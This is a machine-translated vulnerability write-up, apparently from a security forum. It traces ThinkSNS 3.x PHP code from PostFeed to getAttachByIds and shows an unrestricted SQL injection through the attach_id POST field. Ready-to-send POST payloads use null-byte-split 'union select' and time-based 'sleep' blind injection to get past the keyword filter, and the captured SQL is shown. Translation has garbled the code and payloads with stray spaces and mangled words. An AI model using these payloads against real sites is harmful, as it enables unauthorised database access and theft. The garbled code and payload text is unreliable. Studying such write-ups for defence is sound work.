ThinkSNS defense bypass ideas (union select truly unrestricted SQL injection)
ThinkSNS defense bypass 2
I have worked very hard on this code:
Public function PostFeed () {// returned data format $ return = array ('status' => 1, 'data' => ''); // The user sends the content $ d ['content'] = isset ($ _ POST ['content'])? Filter_keyword (h ($ _ POST ['content']): ''; // original data content $ d ['body'] = filter_keyword ($ _ POST ['body']); // security filter foreach ($ _ POST as $ key => $ val) {$ _ POST [$ key] = t ($ _ POST [$ key]);} $ d ['source _ url'] = urldecode ($ _ POST ['source _ url']); // share the application on Weibo, source resource link // filter out the blank space at both ends of the topic $ d ['body'] = preg_replace ("/# [\ s] * ([^ # ^ \ s] [^ #] * [^ # ^ \ s]) [\ s] * #/is ",'#'. trim ("\ ${1 }"). '#', $ d ['body']); // Attachment Information $ d ['Attach _ id'] = trim (t ($ _ POST ['Attach _ id']), "|"); If (! Empty ($ d ['Attach _ id']) {$ d ['Attach _ id'] = explode ('| ', $ d ['Attach _ id']); array_map ('intval', $ d ['Attach _ id']);} // Weibo sending type $ type = t ($ _ POST ['type']); // Application name $ app = isset ($ _ POST ['app _ name'])? T ($ _ POST ['app _ name']): APP_NAME; // The current dynamically generated application $ data = model ('feed ') -> put ($ this-> uid, $ app, $ type, $ d );
Put:
Public function put ($ uid, $ app = 'public', $ type = '', $ data = array (), $ app_id = 0, $ app_table = 'feed ', $ extUid = null, $ lessUids = null, $ isAtMe = true, $ is_repost = 0) {if (false & isSubmitLocked ()) {$ this-> error = 'Publish content too frequently. Please try again later '; return false;} // determine whether the data is correct if (! $ Uid | $ type = '') {$ this-> error = L ('Public _ ADMIN_OPRETING_ERROR '); return false;} if (strpos ($ type, 'postvideo ')! = False) {$ type = 'postvideo';} // Weibo type validity verification-temporary solution if (! In_array ($ type, array ('post', 'repost', 'postvideo', 'postfile', 'postimage', 'weba _ Post ', 'weba _ repost') {$ type = 'post';} // The application type is verified in the sharing box-temporary solution if (! In_array ($ app, array ('w3g ', 'public', 'wiba', 'tipoff ') {$ app = 'public'; $ type = 'post '; $ app_table = 'feed';} $ app_table = strtolower ($ app_table); // Add a feed Table record $ data ['uid'] = $ uid; $ data ['app'] = $ app; $ data ['type'] = $ type; $ data ['app _ row_id '] = $ app_id; $ data ['app _ row_table '] = $ app_table; $ data ['Publish _ time'] = time (); $ data ['from'] = isset ($ data ['from'])? Intval ($ data ['from']): getVisitorClient (); $ data ['is _ del '] = $ data ['comment _ count'] = $ data ['repost _ count'] = 0; $ data ['is _ repost'] = $ is_repost; // determine whether to release the review. $ weiboSet = model ('xdata')-> get ('admin _ Config: feed '); $ weibo_premission = $ weiboSet ['weibo _ premission']; if (in_array ('audit', $ weibo_premission) | CheckPermission ('Core _ normal ', 'feed _ audit ') {$ data ['is _ audit'] = 0;} else {$ data ['is _ audit '] = 1;} // micro If (Addons: requireHooks ('weibo _ publish_content ') {Addons: hook ("weibo_publish_content", array (& $ data ));} else {$ content = $ this-> formatFeedContent ($ data ['body']); $ data ['body'] = $ content ['body']; $ data ['content'] = $ content ['content'];} // Add the original resource link $ data ['body'] to share the application resources on Weibo. = $ data ['source _ url']; $ data ['content']. = $ data ['source _ url']; // hook of the Weibo plug-in // if ($ type) {// $ addonsData = array (); // Add Ons: hook ("weibo_type", array ("typeId" => $ type, "typeData" => $ type_data, "result" => & $ addonsData )); // $ data = array_merge ($ data, $ addonsData); //} if ($ type = 'postvideo') {$ typedata = model ('video ') -> _ weiboTypePublish ($ _ POST ['videourl']); if ($ typedata & $ typedata ['flashvar'] & $ typedata ['flashimg ']) {$ data = array_merge ($ data, $ typedata);} else {$ data ['type'] = 'post' ;}// add Weibo Information $ feed_ I D = $ this-> data ($ data)-> add (); if (! $ Feed_id) return false; if (! $ Data ['is _ audit ']) {$ touid = D ('user _ group_link')-> where ('user _ group_id = 1 ') -> field ('uid')-> findAll (); foreach ($ touid as $ k => $ v) {model ('regiony ') -> sendpolicy ($ v ['uid'], 'feed _ audit ');}} // current processing scheme format data $ data ['content'] = str_replace (chr (31), '', $ data ['content']); $ data ['body'] = str_replace (chr (31), '', $ data ['body']); // Add associated data $ feed_data = D ('feeddata')-> data (array ('feed _ id' => $ feed_id, 'feed _ data' => serial Ize ($ data), 'client _ ip' => get_client_ip (), 'feed _ content' => $ data ['body'])-> add (); // if ($ feed_id & $ feed_data) {// lock the lockSubmit (); // hook after successful Weibo publishing // Addons :: hook ("weibo_publish_after", array ('weibo _ id' => $ feed_id, 'post' => $ data )); // send the notification message-focus-you must simply remove the information on the upper node. if ($ data ['is _ repost'] = 1) {// forward Weibo $ isAtMe & $ content = $ data ['content']; // content user $ extUid [] = $ data ['sourceinfo'] ['transidd _ data'] ['uid']; // Resource author user if ($ isAtMe &&! Empty ($ data ['curid']) {// upper node user $ appRowData = $ this-> get ($ data ['curid']); $ extUid [] = $ appRowData ['uid'];} else {// other Weibo $ content = $ data ['content']; // update the latest @ model ('atme ')-> updateRecentAt ($ content); // content user} // send @ message model ('atme ') -> setAppName ('public')-> setAppTable ('feed')-> addAtme ($ content, $ feed_id, $ extUid, $ lessUids );
Add addAtme again:
Public function addAtme ($ content, $ row_id, $ extra_uids = null, $ less_uids = null) {// remove duplicates. The null value is equivalent to your own $ extra_uids = array_diff ($ extra_uids, array ($ GLOBALS ['ts'] ['mid ']); $ extra_uids = array_unique ($ extra_uids); $ extra_uids = array_filter ($ extra_uids ); $ less_uids [] = $ GLOBALS ['ts'] ['mid ']; $ less_uids = array_unique ($ less_uids); $ less_uids = array_filter ($ less_uids ); // get @ user's UID array $ uids = $ this-> getUids ($ content, $ extra_uids, $ row_id, $ less_uids );
Follow up with getUids:
Public function getUids ($ content, $ extra_uids = null, $ row_id, $ less_uids = null) {// preg_match_all ($ this-> _ at_regex, $ content, $ matches); $ unames = $ matches [1]; $ map = "uname in ('". implode ("','", $ unames ). "')"; $ ulist = model ('user')-> where ($ map)-> field ('uid')-> findall (); $ matchuids = getSubByKey ($ ulist, 'uid'); // if no user exists in the content match, if (empty ($ matchuids )&&! Empty ($ extra_uids) {// remove @ user ID if (! Empty ($ less_uids) {foreach ($ less_uids as $ k =>$ v) {if (in_array ($ v, $ extra_uids )) {unset ($ extra_uids [$ k]) ;}} return is_array ($ extra_uids )? $ Extra_uids: array ($ extra_uids);} // If the matched content contains a user $ suid = array (); foreach ($ matchuids as $ v ){! In_array ($ v, $ suid) & $ suid [] = (int) $ v ;}// remove @ user ID if (! Empty ($ less_uids) {foreach ($ suid as $ k => $ v) {if (in_array ($ v, $ less_uids )) {unset ($ suid [$ k]) ;}}// mail process $ author = model ('user ') -> getUserInfo ($ GLOBALS ['ts '] ['mid']); $ content = model ('source')-> getSourceInfo ($ this-> _ app_table, $ row_id, false, $ this-> _ app );
Let's take a look at getSourceInfo:
public function getSourceInfo($table, $row_id, $_forApi = false, $appname = 'public') {static $forApi = '0';$forApi == '0' && $forApi = intval ( $_forApi );$key = $forApi ? $table . $row_id . '_api' : $table . $row_id;if ($info = static_cache ( 'source_info_' . $key )) {return $info;}switch ($table) {case 'feed' :$info = $this->getInfoFromFeed ( $table, $row_id, $_forApi );
Go back to getInfoFromFeed:
private function getInfoFromFeed($table, $row_id, $forApi) {$info = model ( 'Feed' )->getFeedInfo ( $row_id, $forApi );
Follow up with getFeedInfo:
Public function getFeedInfo ($ id, $ forApi = false) {$ data = model ('cache')-> get ('feed _ info _'. $ id); if ($ data! = False & ($ forApi = false | ($ forApi = true & isset ($ data ['iscoll ']) {return $ data;} $ map ['a. feed_id '] = $ id; // filter deleted Weibo wap favorites // if ($ forApi) {// $ map ['a. is_del '] = 0; //} $ data = $ this-> where ($ map) -> table ("{$ this-> tablePrefix} feed AS a left join {$ this-> tablePrefix} feed_data AS B ON. feed_id = B. feed_id ")-> find (); $ fd = unserialize ($ data ['feed _ data']); $ userInfo = model ('user')-> get UserInfo ($ data ['uid']); $ data ['ctime'] = date ('Y-m-d H: I ', $ data ['Publish _ time']); $ data ['content'] = $ forApi? ParseForApi ($ fd ['body']): $ fd ['body']; $ data ['uname'] = $ userInfo ['uname']; $ data ['user _ group'] = $ userInfo ['api _ user_group ']; $ data ['Avatar _ big'] = $ userInfo ['Avatar _ big ']; $ data ['Avatar _ middle'] = $ userInfo ['Avatar _ middle']; $ data ['Avatar _ small'] = $ userInfo ['Avatar _ small']; unset ($ data ['feed _ data']); // if ($ data ['type'] = 'repost ') {$ data ['transidd _ id'] = $ data ['app _ row_id ']; $ data ['transidd _ data'] = $ This-> getFeedInfo ($ data ['transidd _ id'], $ forApi);} // if (! Empty ($ fd ['Attach _ id']) {$ data ['has _ attach '] = 1; $ attach = model ('Attach ') -> getAttachByIds ($ fd ['Attach _ id']);
Step 1:
$ Fd = unserialize ($ data ['feed _ data']);
Step 2:
$ Attach = model ('Attach ')-> getAttachByIds ($ fd ['Attach _ id']);
At this time, follow up on getAttachByIds:
public function getAttachByIds($ids, $field = '*') {if(empty($ids)) {return false;}!is_array($ids) && $ids = explode(',', $ids);$map['attach_id'] =array('IN', $ids);$data = $this->where($map)->field($field)->findAll();return $data;}
This results in an injection that looks the same as the secondary attention, but has no restrictions:
Construct a url:
Http: // localhost/thinksns_v3.20.20131108_28822/index. php? App = public & mod = Feed & act = PostFeed
Postdata:
Type = xxxxx & content = yyyy & body = xxxx & source_url = xxxx & attach_id = 1) uni % 00on select values, 14,15, 16,17, 18,19, 20 fro % 00 m'ts _ attach '#
SQL crawled in the background:
20: 48 SELECT * FROM 'ts _ attach 'WHERE ('Attach _ id' IN (1) union select distinct,, 20 from 'ts _ attach '#))
Vulnerability trigger Condition
1. Register a common user
2. As long as refresh is on this site, we can set it to http: // localhost: 8081/ThinkSNS/index. php? App = public & mod = Feed & act = PostFeed
3. We use delayed blind injection for testing in an apparent period.
Sending url:
Http: // localhost: 8081/ThinkSNS/index. php? App = public & mod = Feed & act = PostFeed
Postdata:
Type = xxxxx & content = yyyy & body = xxxx & source_url = xxxx & attach_id = 1) uni % 00on sele % 00ct lupus %00ep (1% 2f10), 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20 fro % 00 m' ts _ attach '#
Referer:
Http: // localhost: 8081/ThinkSNS/index. php? App = public & mod = Feed & act = PostFeed
The SQL captured in the background is:
13: 22 SELECT * FROM 'ts _ attach 'WHERE ('Attach _ id' IN (1) union select sleep (1/10, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20 from 'ts _ attach '#))